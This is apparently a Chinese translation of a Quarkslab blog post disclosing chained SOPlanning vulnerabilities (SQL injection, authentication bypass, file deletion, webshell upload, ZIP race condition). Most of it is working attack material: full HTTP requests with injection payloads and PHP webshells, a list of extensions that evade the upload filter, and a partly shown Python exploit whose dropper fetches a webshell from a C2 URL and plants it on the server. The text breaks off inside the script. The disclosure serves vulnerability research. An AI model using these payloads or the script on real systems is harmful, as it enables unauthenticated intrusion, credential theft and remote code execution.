【翻译】Pwn everything Bounce everywhere all at once (part 2) - Quarkslab's blog
在这系列文章中,我们描述了在一次"假定被入侵"的安全审计中,我们是如何通过在被攻陷的服务器上安装虚假的单点登录页面来实施水坑攻击,从而入侵客户网络上的多个 Web 应用程序。在第二篇文章中,我们将关注在审计过程中遇到的项目管理应用程序 SOPlanning。
背景
在本系列的第一篇博文中,我们展示了当每个 Web 服务都只能通过认证机制访问时,如何利用一个几乎可以投票或饮酒的未经认证的远程代码执行漏洞来帮助我们实现入侵目标。
在这篇博文中,我们将放下古老的手法,拥抱现代技术。
SOPlanning 是一个用 PHP 编写的开源 Web 应用程序,用于...你猜对了,规划。它被广泛用于在线项目管理,许多有复杂规划需求的大公司都在使用它。本文涵盖了在当时最新版本的SOPlanning(v1.52.02) 中发现的漏洞。以下漏洞已报告给供应商,并在版本v1.53.02中得到修复:
漏洞
-
V0: 基于错误的 SQL 注入 (认证前) -
V1: 认证绕过 (可通过与 V0 链接利用) -
V2: 任意文件删除 (可通过与 V1 链接利用) -
V3: 任意文件上传导致远程代码执行 (可通过与 V2 链接利用) -
V4: ZipArchive::extractTo()
竞争条件导致远程代码执行 (可通过与 V1 链接利用)
这些漏洞虽然不相关,但可以链接在一起创建两条导致未经认证的远程代码执行 (RCE) 的利用链。
导致远程代码执行的利用链
-
第一条完整链导致远程代码执行 (认证前) -
V0 + V1 + V2 + V3 -
第二条完整链导致远程代码执行 (认证前) -
V0 + V1 + V4
由于第一条链在技术上开发 exploit 并不一定有趣 (它只需要经典技术),我们将 exploit 链的开发留给读者作为练习。另一方面,第二条链需要利用竞争条件,这可能会很有趣,所以我们决定为它开发一个 POC,演示如何优化竞争时间窗口以实现可靠的利用。
V0: 基于错误的 SQL 注入 (认证前)
通过审计 www/planning_param.php 和 www/planning.php 文件的代码,我们发现可以注入 SQL 查询。实际上,变量$_SESSION['filtreGroupeProjet']
是通过存储在变量$_COOKIE['filtreGroupeProjet']
中的信息 (攻击者可控) 填充的。
文件:www/planning_param.php
<?php
...
// Filtre Groupe Projet
if(isset($_COOKIE['filtreGroupeProjet'])) {
$_SESSION['filtreGroupeProjet'] = json_decode($_COOKIE['filtreGroupeProjet']);
} elseif (!isset($_SESSION['filtreGroupeProjet'])) {
$_SESSION['filtreGroupeProjet'] = array();
}
$smarty->assign('filtreGroupeProjet', $_SESSION['filtreGroupeProjet']);
...
文件:www/planning.php
<?php
require('./base.inc');
require(BASE .'/../config.inc');
require(BASE .'/../includes/header.inc');
...
// Si filtre sur groupe projet
if(count($_SESSION['filtreGroupeProjet']) > 0) {
$sql.= " AND planning_periode.projet_id IN ('" . implode("','", $_SESSION['filtreGroupeProjet']) . "')";
}
...
//echo $sql;die;
$periodes->db_loadSQL($sql);
$nbLignesTotal = $periodes->getCount();
...
一旦确定了注入点,我们要做的就是创建一个能从数据库中提取有用信息的 payload。在专门讨论漏洞 V1 的章节中,你将看到为什么我们选择从表planning_user
中提取存储在列cle
和password
中的信息。
泄露cle
列
我们通过基于错误的方法利用 SQL 注入,并注意到可提取的数据长度是有限的。因此,我们必须将cle
列的提取分成两个查询。
用于泄露cle
第一部分的 HTTP 请求 (32 个字符中的前 16 个字符):
POST /Projects/soplanning/www/planning.php HTTP/1.1
Host: 127.0.0.1:58080
Cookie: dockerplanning_=873b58fac3f1f2c022e2cc264f258125; filtreGroupeProjet=["') AND ExtractValue('',concat('=AAAA',(SELECT SUBSTR(cle, 1, 16) FROM planning_user WHERE user_id='ADM')))-- -'"]
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
响应 (HTTP):
HTTP/1.1 200 OK
Date: Fri, 18 Oct 2024 11:08:08 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1264
Content-Type: text/html; charset=iso-8859-1
<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: '=AAAAe1aaf3ba1facd73c' in /var/www/html/Projects/soplanning/includes/db_wrapper.inc:62
...
-
e1aaf3ba1facd73c
(16 个字符)
用于泄露cle
第二部分的 HTTP 请求 (32 个字符中的后 16 个字符):
POST /Projects/soplanning/www/planning.php HTTP/1.1
Host: 127.0.0.1:58080
Cookie: dockerplanning_=873b58fac3f1f2c022e2cc264f258125; filtreGroupeProjet=["') AND ExtractValue('',concat('=AAAA',(SELECT SUBSTR(cle, 17, 32) FROM planning_user WHERE user_id='ADM')))-- -'"]
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
响应 (HTTP):
HTTP/1.1 200 OK
Date: Fri, 18 Oct 2024 11:19:09 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1264
Content-Type: text/html; charset=iso-8859-1
<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: '=AAAA92c3817da8b93e0f' in /var/www/html/Projects/soplanning/includes/db_wrapper.inc:62
...
-
92c3817da8b93e0f
(16 个字符)
cle
的值为e1aaf3ba1facd73c92c3817da8b93e0f
。
泄露password
列
使用相同的技术从
password
列中提取信息。
用于提取password
列的 payload:
-
用于泄露 password
第一部分的 payload(40 个字符中的前 16 个字符): -
filtreGroupeProjet=["') AND ExtractValue('',concat('=AAAA',(SELECT SUBSTR(password, 1, 16) FROM planning_user WHERE user_id='ADM')))-- -'"]
-
用于泄露 password
第二部分的 payload(40 个字符中的后 24 个字符): -
filtreGroupeProjet=["') AND ExtractValue('',concat('=AAAA',(SELECT SUBSTR(password, 17, 40) FROM planning_user WHERE user_id='ADM')))-- -'"]
在我们的测试中,获得的密码如下:
-
password
=df5b909019c9b1659e86e0d6bf8da81d6fa3499e
由于会话变量$_SESSION['filtreGroupeProjet']
已被我们的 SQL 注入破坏,我们需要使用以下 payload 重置它:
-
filtreGroupeProjet=[""]
接下来我们将看到如何利用通过 V0 获取的信息来绕过身份验证。
V1: 身份验证绕过 (可通过与 V0 链接利用)
身份验证绕过非常简单。我们只需要阅读 www/process/login.php 文件的代码,就能理解如何使用通过上述漏洞提取的信息来以管理员身份 (admin
用户) 进行身份验证。
文件:www/process/login.php
<?php
...
} else {
// classic login
$pwd = $user->hashPassword($_POST['password']);
if(!$user->db_load(array('login', '=', $_POST['login'], 'password', '=', $pwd))) {
if(!$user->db_load(array('login', '=', $_POST['login']))){
$_SESSION['message'] = 'erreur_bad_login';
header('Location: ../index.php');
exit;
}
$pwd2 = $user->cle . "|" . $user->password;
if($_POST['password'] != $pwd2){
$_SESSION['message'] = 'erreur_bad_login';
header('Location: ../index.php');
exit;
}
}
}
...
更具体地说:
<?php
...
} else {
...
$pwd2 = $user->cle . "|" . $user->password;
if($_POST['password'] != $pwd2){
$_SESSION['message'] = 'erreur_bad_login';
header('Location: ../index.php');
exit;
}
}
}
...
由于我们能够通过 SQL Injection 从数据库中获取这些值($user->cle
、$user->password
),我们可以在认证过程中使用以下密码($_POST['password']
)以 admin
身份进行认证:
-
e1aaf3ba1facd73c92c3817da8b93e0f|df5b909019c9b1659e86e0d6bf8da81d6fa3499e
。
使用拼接的密钥进行身份认证的 HTTP 请求:
POST /Projects/soplanning/www/process/login.php HTTP/1.1
Host: 127.0.0.1:58080
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
login=admin&password=e1aaf3ba1facd73c92c3817da8b93e0f|df5b909019c9b1659e86e0d6bf8da81d6fa3499e
响应 (HTTP):
HTTP/1.1 302 Found
Date: Fri, 18 Oct 2024 11:44:45 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
X-Frame-Options: SAMEORIGIN
Set-Cookie: dockerplanning_=3c1c4ebadf7b6a7d21643cbc0de5adf9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: baseLigne=users; expires=Mon, 02-Mar-2026 11:44:45 GMT; Max-Age=43200000; path=/
Set-Cookie: baseColonne=jours; expires=Mon, 02-Mar-2026 11:44:45 GMT; Max-Age=43200000; path=/
Set-Cookie: afficherTableauRecap=1; expires=Mon, 02-Mar-2026 11:44:45 GMT; Max-Age=43200000; path=/
Set-Cookie: masquerLigneVide=0; expires=Mon, 02-Mar-2026 11:44:45 GMT; Max-Age=43200000; path=/
Location: ../planning.php
Content-Length: 0
Content-Type: text/html; charset=iso-8859-1
V4: ZipArchive::extractTo()
竞争条件导致远程代码执行(可通过与 V1 漏洞链接利用)
现在,让我们来看一个竞争条件漏洞,这是我们在利用过程中最有趣的漏洞。我们将分析该漏洞为什么会在文件 www/process/upload_backup.php 中出现。
文件:www/process/upload_backup.php
<?php
require'base.inc';
require BASE . '/../config.inc';
require BASE . '/../includes/header.inc';
if(!$user->checkDroit('parameters_all')) {
$_SESSION['erreur'] = 'droitsInsuffisants';
header('Location: index.php');
exit;
}
$type=$_POST['type'];
$type_restauration=$_POST['type_restauration'];
$type_fichier_import_seul=$_POST['type_fichier_import'];
$upload_dir = SAVE_DIR; // upload directory
// Si on fait un upload de fichiers
if ($type=='upload')
{
// Pour tous les fichiers, on tente de les uploader
for($i=0; $i<count($_FILES); $i++){
$filename = replaceAccents(utf8_decode($_FILES["fichier-$i"]['name']));
$tmp_dir = $_FILES["fichier-$i"]['tmp_name'];
$fileSize = $_FILES["fichier-$i"]['size'];
$dest_dir=$upload_dir.$filename.".tmp";
// Vidage du contenu d'uploaddir sans suppresion du r�pertoire
rrmdir($upload_dir,false);
// Verification du r�pertoire
if(!file_exists(SAVE_DIR) || !is__writable(SAVE_DIR)) {
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_ecriture_repertoire'));
echo $msg;
exit;
}else
{
// Si le fichier existe, on l'efface
if (file_exists($upload_dir.$filename))
{
@unlink($upload_dir.$filename);
}
// V�rification de la taille du fichier
if ($fileSize > MAX_SIZE_UPLOAD)
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_taille'));
echo $msg;
exit;
}
// Chargement du fichier
if(!(move_uploaded_file($tmp_dir,$upload_dir.$filename)))
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_chargement'));
echo $msg;
exit;
}else
{
// V�rification du bon chargement du fichier
if (!file_exists($upload_dir.$filename))
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_chargement'));
echo $msg;
exit;
}else
{
@mkdir($dest_dir);
$info = pathinfo($upload_dir.$filename);
// Test si c'est une archive on l'extrait
if ($type_restauration=="sauvegarde" && $info["extension"] == "zip")
{
// Extraction de l'archive
$zip = new ZipArchive();
if($zip->open($upload_dir.$filename) === true)
{
$zip->extractTo($dest_dir);
$zip->close();
} else {
@unlink($upload_dir.$filename);
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('erreur_extraction_sauvegarde'));
echo $msg;
exit;
exit;
}
...
}
...
}
}
}
}
}
?>
从上述代码可以看出,要达到函数 ZipArchive::extractTo()
,变量 $type_restauration
($_POST['type_restauration']
) 必须具有值 sauvegarde
(字符串),且变量 $info["extension"]
的值必须为 zip
(字符串)。变量 $info["extension"]
是通过 pathinfo($upload_dir.$filename)
计算得出的,而这又基于 replaceAccents(utf8_decode($_FILES["fichier-$i"]['name']))
。因此,为了达到目标点 (ZipArchive::extractTo()
),所有变量都可以被攻击者控制。现在,让我们看看函数 ZipArchive::extractTo()
的文档。
压缩包会被解压到文件夹 $pathto
中,在我们的情况下,这等同于变量 $dest_dir
,并且正如在脚本开头所见,这个值是可预测的(与上传文件的名称相关)。
...
$upload_dir = SAVE_DIR; // upload directory (www/upload/backup/)
...
$dest_dir=$upload_dir.$filename.".tmp";
...
$zip->extractTo($dest_dir);
...
这意味着如果我们上传的文件名为 test.zip,该压缩包将被解压到文件夹 www/upload/backup/test.zip.tmp/ 中。如果我们的压缩包包含一个 dropper test.php,这就意味着在该文件被脚本的其余部分删除之前,存在一个时间窗口,在此期间文件 www/upload/backup/test.zip.tmp/test.php 是存在的,因此可以通过 HTTP GET 请求执行。作为攻击者,我们希望最大化这个时间窗口以赢得 Race Condition。
通过阅读代码,我们了解到我们的压缩包必须满足的唯一条件是不能超过 MAX_SIZE_UPLOAD
定义的大小。全局变量 MAX_SIZE_UPLOAD
的值为 20971520
,但由于这个值是以字节为单位表示的,可以转换为兆字节(我们的压缩包不应大于 20 兆字节)。我们需要创建一个包含简单 dropper 和特制难以解压的垃圾文件的压缩包,使最终的压缩包接近可接受的最大大小。这将增加我们可以利用 Race Condition 的时间窗口。
上传恶意 ZIP 压缩包的 HTTP 请求:
POST /Projects/soplanning_1.48.00/www/process/upload_backup.php HTTP/1.1
Host: 127.0.0.1:58080
Content-Type: multipart/form-data; boundary=---------------------------6761258225415722691748121030
Content-Length: 811
Cookie: dockerbplanning_=5ea7bf5b6b5f1a1d6854507bcfba09c1
-----------------------------6761258225415722691748121030
Content-Disposition: form-data; name="fichier-0"; filename="test.zip"
Content-Type: application/zip
PK...
... test.php ...
<?php
system("id");
?>
PK...
...junk...
...
-----------------------------6761258225415722691748121030
Content-Disposition: form-data; name="type"
upload
-----------------------------6761258225415722691748121030
Content-Disposition: form-data; name="type_restauration"
sauvegarde
-----------------------------6761258225415722691748121030--
响应 (HTTP):
HTTP/1.1 200 OK
Date: Mon, 21 Oct 2024 13:34:22 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/7.4.2
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 77
Content-Type: text/html; charset=iso-8859-1
Aucun fichier valide à charger. Merci de vérifier votre fichier ou sauvegarde
触发 dropper 的 HTTP 请求:
GET /Projects/soplanning_1.48.00/www/upload/backup/test.zip.tmp/test.php HTTP/1.1
Host: 127.0.0.1:58080
Cookie: dockerbplanning_=5ea7bf5b6b5f1a1d6854507bcfba09c1
链接 V0、V1 和 V4 漏洞并优化利用时间窗口的 POC 代码将在文章末尾提供。
V2: 任意文件删除 (可通过与 V1 链接利用)
在源代码分析过程中,我们发现了一个文件上传功能。然而,位于 www/upload/files 目录下的.htaccess 文件阻止了我们上传并执行 Webshell,因为它会直接将文件作为下载提供。因此,我们需要一种方法 (漏洞) 来删除.htaccess 文件。
文件:www/upload/files/.htaccess
RewriteEngineOn
<Files*.*>
ForceTypeapplication/octet-stream
HeadersetContent-Dispositionattachment
</Files>
为了执行这个操作,我们关注了需要管理员权限才能访问的功能,因为删除文件通常是一个需要特权访问的功能。
文件:www/process/options.php
<?php
require'base.inc';
require BASE . '/../config.inc';
require BASE . '/../includes/header.inc';
if(!$user->checkDroit('parameters_all')) {
$_SESSION['erreur'] = 'droitsInsuffisants';
header('Location: ../index.php');
exit;
}
...
if((isset($_FILES['SOPLANNING_LOGO']) && !empty($_FILES['SOPLANNING_LOGO']['name'])) || isset($_POST['SOPLANNING_LOGO_SUPPRESSION'])) {
$config = new Config();
$config->db_load(array('cle', '=', 'SOPLANNING_LOGO'));
if (isset($_POST['SOPLANNING_LOGO_SUPPRESSION']))
{
$config->valeur = NULL;
if(!$config->db_save()) {
$_SESSION['erreur'] = 'changeNotOK';
header('Location: ../options.php' . (isset($_POST['tab']) ? '?tab=' . $_POST['tab'] : ''));
exit;
}
# Effacement de l'ancien logo
if (!empty($_POST['old_logo']))
{
if (!is_dir(BASE.'/upload/logo/'.$_POST['old_logo']) && file_exists(BASE.'/upload/logo/'.$_POST['old_logo'])) {
unlink(BASE.'/upload/logo/'.$_POST['old_logo']);
@unlink(BASE.'/upload/logo/icon.png');
}
}
}else
{
...
}
}
...
通过阅读上述代码,我们了解到一个简单的路径遍历就足以执行所需的操作。
用于删除文件 www/upload/files/.htaccess 的 HTTP 请求:
POST /Projects/soplanning/www/process/options.php HTTP/1.1
Host: 127.0.0.1:58080
Content-Type: multipart/form-data; boundary=---------------------------76901974014907803713087256441
Content-Length: 327
Cookie: dockerplanning_=24c28a0ac6973709d2b43528e7a651cc
-----------------------------76901974014907803713087256441
Content-Disposition: form-data; name="old_logo"
../files/.htaccess
-----------------------------76901974014907803713087256441
Content-Disposition: form-data; name="SOPLANNING_LOGO_SUPPRESSION"
on
-----------------------------76901974014907803713087256441--
响应 (HTTP):
HTTP/1.1 302 Found
Date: Fri, 18 Oct 2024 08:38:31 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../options.php
Content-Length: 0
Content-Type: text/html; charset=iso-8859-1
如果你想确保漏洞利用的可靠性 (如果你想实现第一个漏洞利用链),我们建议你在利用 V3 漏洞并上传你的 Webshell 之前,尝试删除之前上传的 Webshell(这是一个清理步骤)。
用于删除可能已存在的 Webshell 的 HTTP 请求:
POST /Projects/soplanning/www/process/options.php HTTP/1.1
Host: 127.0.0.1:58080
Content-Type: multipart/form-data; boundary=---------------------------76901974014907803713087256441
Content-Length: 333
Cookie: dockerplanning_=24c28a0ac6973709d2b43528e7a651cc
-----------------------------76901974014907803713087256441
Content-Disposition: form-data; name="old_logo"
../files/junk/index.php8
-----------------------------76901974014907803713087256441
Content-Disposition: form-data; name="SOPLANNING_LOGO_SUPPRESSION"
on
-----------------------------76901974014907803713087256441--
响应 (HTTP):
HTTP/1.1 302 Found
Date: Fri, 18 Oct 2024 08:39:58 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../options.php
Content-Length: 0
Content-Type: text/html; charset=iso-8859-1
V3: 任意文件上传导致远程代码执行 (可通过与 V2 漏洞链接利用)
我们发现的第一个漏洞实际上是一个简单的文件上传黑名单绕过漏洞,因为黑名单仅包含三个扩展名。
未授权的扩展名:
-
php
-
inc
-
htaccess
但正如你从 V2 漏洞描述中可能已经发现的那样,通过文件 www/upload/files/.htaccess 实现的 apache 指令阻止了我们执行 Webshell。一旦.htaccess 文件被删除,我们只需利用下面的代码来上传 Webshell。
文件:www/process/upload.php
<?php
require'base.inc';
require BASE . '/../config.inc';
require BASE . '/../includes/header.inc';
$type=$_POST['type'];
// securise link_id
$linkid=preg_replace( '/[^a-z0-9]+/', '0', strtolower($_POST['linkid']));
$upload_dir = UPLOAD_DIR."$linkid/"; // upload directory
// Si on fait un upload de fichiers
if ($type=='upload')
{
// Pour tous les fichiers, on tente de les uploader
for($i=0; $i<count($_FILES); $i++){
$filename = replaceAccents(utf8_decode($_FILES["fichier-$i"]['name']));
$infos = pathinfo($filename);
if(in_array(strtolower($infos['extension']), array('php', 'inc', 'htaccess'))){
echo'File not allowed';
exit;
}
$tmp_dir = $_FILES["fichier-$i"]['tmp_name'];
$fileSize = $_FILES["fichier-$i"]['size'];
// Verification du répertoire
if(!file_exists(UPLOAD_DIR) || !is__writable(UPLOAD_DIR)) {
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_ecriture_repertoire'));
echo $msg;
exit;
}else
{
// Création du répertoire si nécessaire
@mkdir($upload_dir);
// Si il existe déjà, on ne l'écrase pas
if (file_exists($upload_dir.$filename))
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_existe_deja'));
echo $msg;
}else
{
// vérification de la taille du fichier
if ($fileSize > MAX_SIZE_UPLOAD)
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_taille'));
echo $msg;
exit;
}
// chargement du fichier
if(!(move_uploaded_file($tmp_dir,$upload_dir.$filename)))
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_chargement'));
echo $msg;
exit;
}else
{
if (!file_exists($upload_dir.$filename))
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_erreur_chargement'));
echo $msg;
exit;
}else
{
$msg=preg_replace('/filename/',$filename,$smarty->getConfigVars('upload_fichier_chargement_ok'));
echo $msg;
}
}
}
}
}
}
...
?>
上传 Webshell 的 HTTP 请求:
POST /Projects/soplanning/www/process/upload.php HTTP/1.1
Host: 127.0.0.1:58080
Content-Type: multipart/form-data; boundary=---------------------------167043125011755066722259731383
Content-Length: 496
Cookie: dockerplanning_=24c28a0ac6973709d2b43528e7a651cc;
-----------------------------167043125011755066722259731383
Content-Disposition: form-data; name="fichier-0"; filename="index.php8"
Content-Type: application/octet-stream
<?php
system("id");
?>
-----------------------------167043125011755066722259731383
Content-Disposition: form-data; name="linkid"
junk
-----------------------------167043125011755066722259731383
Content-Disposition: form-data; name="type"
upload
-----------------------------167043125011755066722259731383--
响应 (HTTP):
HTTP/1.1 200 OK
Date: Fri, 18 Oct 2024 08:40:09 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 45
Content-Type: text/html; charset=iso-8859-1
Le fichier 'index.php8' a ajouté à la tâche !
触发 Webshell 的 HTTP 请求:
GET /Projects/soplanning/www/upload/files/junk/index.php8 HTTP/1.1
Host: 127.0.0.1:58080
Cookie: dockerplanning_=24c28a0ac6973709d2b43528e7a651cc;
响应 (HTTP):
HTTP/1.1 200 OK
Date: Fri, 18 Oct 2024 08:40:56 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.1.20
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 54
uid=33(www-data) gid=33(www-data) groups=33(www-data)
使用 .php8 扩展名并非强制要求。您可以根据目标 Web 服务器的配置,使用以下扩展名中的任意一个。
可用的扩展名:.php2, .php3, .php4, .php5, .php6, .php7, .php8, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .phar, .hphp, .ctp, .module
POC
如果 SOPlanning 配置为允许访客访问 (审计期间遇到的配置),则可以在无需认证的情况下使用此漏洞利用程序。此外,也可以通过在 Python 脚本中指定凭据参数来利用此漏洞。
文件:exploit.py
import argparse
import os
import requests
import threading
import time
import zipfile
# This variable is used to manage the verbosity of the exploit.
DEBUG = 0
# This variable represents the value, in bytes, of the maximum size our archive
# can be.
MAX_SIZE_UPLOAD = 20971520
# Name of folder to be compressed as archive.
FOLDER_TO_BE_COMPRESSED = "Archive"
ifnot os.path.exists(FOLDER_TO_BE_COMPRESSED):
os.makedirs(FOLDER_TO_BE_COMPRESSED)
# Name of archive when created locally.
LOCAL_ARCHIVE_NAME = "archive.zip"
# Remote folder corresponding to the archive being extracted.
REMOTE_FOLDER_PATH = f"www/upload/backup/{LOCAL_ARCHIVE_NAME}.tmp/"
# Name of dropper in archive.
DROPPER_NAME = "dropper.php"
# Webshell name when dropped.
WEBSHELL_NAME = "webshell.php"
# Directory in which webshell is to be written.
WEBSHELL_PATH = "../../../../"
# String used to check that Webshell is executing correctly.
WEBSHELL_CHECK = "a6ed2b7033a44688f0b5aae4fa868f2e"
# Webshell content retrieved from C2.
WEBSHELL_C2_URL = "http://host.docker.internal:8000/webshell.php"
# Dropper content in PHP.
DROPPER_CONTENT = f"<?php echo __FILE__; file_put_contents('{WEBSHELL_PATH}{WEBSHELL_NAME}', file_get_contents('{WEBSHELL_C2_URL}')); ?>"
# Name of the junk file to maximize Race Condition window exploitation time.
JUNK_FILE_NAME = "junk"
# This variable configures the forwarding of HTTP requests to the Burp proxy.
PROXIES= {} # Raw
# PROXIES = {"http": "http://127.0.0.1:1338"} # Lab
# PROXIES = {"http": "http://127.0.0.1:1348"} # Pentest
# Current process PID.
CURRENT_PROCESS_PID = os.getpid()
# This function extracts the data between two delimiters.
defextract(raw, start_delimiter, end_delimiter):
# The first delimiter is searched for.
start = raw.find(start_delimiter)
if start == -1:
if DEBUG > 1:
print("[x] Error: function "extract()" failed (can't find starting delimiter).")
returnNone
start = start + len(start_delimiter)
# The second delimiter is searched for.
end = raw[start::].find(end_delimiter)
if end == -1:
if DEBUG > 1:
print("[x] Error: function "extract()" failed (can't find end delimiter).")
returnNone
end += start
return raw[start:end]
# This function creates a malicious archive maximizing the chances of successful
# exploitation of the race condition. It takes as parameter "output" the path of
# the output file (archive) and as "input" the path of the folder to be compressed.
defcreate_malicious_archive(output=LOCAL_ARCHIVE_NAME, input=FOLDER_TO_BE_COMPRESSED):
print(f"[*] Creating archive "{output}" from folder "{input}" ...")
# Create a new zip file.
if os.path.exists(LOCAL_ARCHIVE_NAME):
os.remove(LOCAL_ARCHIVE_NAME)
archive = zipfile.ZipFile(LOCAL_ARCHIVE_NAME, "w")
archive.write(f"{input}/{JUNK_FILE_NAME}", os.path.basename(f"{input}/{JUNK_FILE_NAME}"))
archive.close()
# We subtract 1 from the MAX_SIZE_UPLOAD value because we want to pass the
# test from the PHP script "upload_backup.php".
while os.stat(LOCAL_ARCHIVE_NAME).st_size > MAX_SIZE_UPLOAD - 1:
os.remove(LOCAL_ARCHIVE_NAME)
archive = zipfile.ZipFile(LOCAL_ARCHIVE_NAME, "w")
# Add the dropper file to the zip file.
archive.write(f"{input}/{DROPPER_NAME}", os.path.basename(f"{input}/{DROPPER_NAME}"))
# Add the junk file to the zip file.
archive.write(f"{input}/{JUNK_FILE_NAME}", os.path.basename(f"{input}/{JUNK_FILE_NAME}"))
archive.close()
# We check the final size of the archive and if it's too large, we
# truncate the junk file.
if os.stat(LOCAL_ARCHIVE_NAME).st_size > MAX_SIZE_UPLOAD - 1:
os.truncate(f"{input}/{JUNK_FILE_NAME}", os.stat(LOCAL_ARCHIVE_NAME).st_size - 500)
else:
break
print(f"[*] Archive "{output}" (size={os.stat(output).st_size}) written.")
# This function writes the dropper in PHP to a folder (before it is compressed
# into an archive). It takes the path of the output file as a parameter as well
# as the content to be written.
defcreate_dropper_file(output=f"{FOLDER_TO_BE_COMPRESSED}/{DROPPER_NAME}", content=DROPPER_CONTENT):
print(f"[*] Writting dropper file "{output}" (size={len(content)}) ...")
with open(output, "w") as f:
f.write(content)
print(f"[*] Dropper written.")
# This function generates a junk file which will be used to increase the size of
# the archive in order to increase the window exploitation time.
defcreate_junk_file(output=f"{FOLDER_TO_BE_COMPRESSED}/{JUNK_FILE_NAME}", size=MAX_SIZE_UPLOAD):
print(f"[*] Writting junk file "{output}" (size={size}) ...")
junk_file_content = b""
with open("/dev/urandom", "rb") as f:
junk_file_content = f.read(size)
with open(output, "wb") as f:
f.write(junk_file_content)
print(f"[*] Junk file written.")
classExploit:
# Use a session to avoid having to manage cookies.
s = requests.session()
# Credentials for authentication if needed.
login_name = None
login_password = None
# Secrets required for authentication bypass.
password = None
def__init__(self, url, username="", password=""):
if url[-1] != "/":
self.url = f"{url}/"
else:
self.url = url
self.username = username
self.password = password
# This function lets you follow the flow of the exploit chain.
defrun(self):
# Step 1: Checks on the possibility of entering the website.
ifnot(self.check_public() or self.login()):
return0
# Step 2: Use SQL injection to extract information from the database
# (column password a hash and column key) for the user "admin".
for [column, expected_length] in [["cle", 32,], ["password", 40]]:
value = "".join([self.inject_sql(column, 1, 16), self.inject_sql(column, 17, 40)])
if len(value) != expected_length:
if DEBUG:
print(
f"[x] The extracted value ({value}) is not in the expected "
f"format (string of length {expected_length})."
)
return0
if DEBUG:
print(f"[*] column "{column}": {value}")
if column == "cle": self.password = f"{value}|"
if column == "password": self.password += value
self.username = "admin"
# Step 3: Use the information extracted from the database to exploit an
# authentication bypass.
ifnot self.login():
return0
# Step 4: Here we exploit the Race Condition when uploading the ZIP file.
# We'll create two concurrent threads, one to upload the file, the other
# to trigger the dropper during ZIP extraction.
create_dropper_file()
create_junk_file()
create_malicious_archive()
self.threads = []
self.threads.append(threading.Thread(target=self.upload_archive, args=[]))
self.threads.append(threading.Thread(target=self.trigger_dropper, args=[]))
self.threads.append(threading.Thread(target=self.webshell_check, args=[]))
for thread in self.threads:
thread.start()
for thread in self.threads:
thread.join()
return1
# This function is used before authentication within soplanning to check if
# visiting as "public" is allowed.
defcheck_public(self):
new_url = f"{self.url}www/index.php"
r = self.s.get(
url=new_url,
allow_redirects=False,
verify=False,
proxies=PROXIES
)
if r.status_code != 200:
if DEBUG:
print("[x] Status code not expected (expected: 200).")
return0
public = extract(
r.text,
'<a href="planning.php?public=1">',
'<'
)
ifnot public:
print("[x] It is not possible to visit the site as "public".")
return0
new_url = f"{self.url}www/planning.php?public=1"
r = self.s.get(
url=new_url,
allow_redirects=False,
verify=False,
proxies=PROXIES
)
return1
# This function allows you to authenticate yourself into the application.
deflogin(self):
# If the username is set to "admin", the authentication bypass is
# exploited with as password secrets extracted from the database.
new_url = f"{self.url}www/process/login.php"
datas = {
"login": self.username,
"password": self.password
}
r = self.s.post(
url=new_url,
data=datas,
allow_redirects=False,
verify=False,
proxies=PROXIES
)
if r.status_code != 302:
print("[x] Status code not expected (expected: 302).")
return0
if r.headers["Location"] != "../planning.php":
print("[x] "Location" header value is incorrect (expected: "../planning.php").")
return0
if DEBUG:
print(f"[*] Authentication successful (authenticated as: {self.username})")
return1
# This function exploits the SQL injection.
definject_sql(self, column, start_of_substring, end_of_substring):
new_url = f"{self.url}www/planning.php"
sql_query = ""
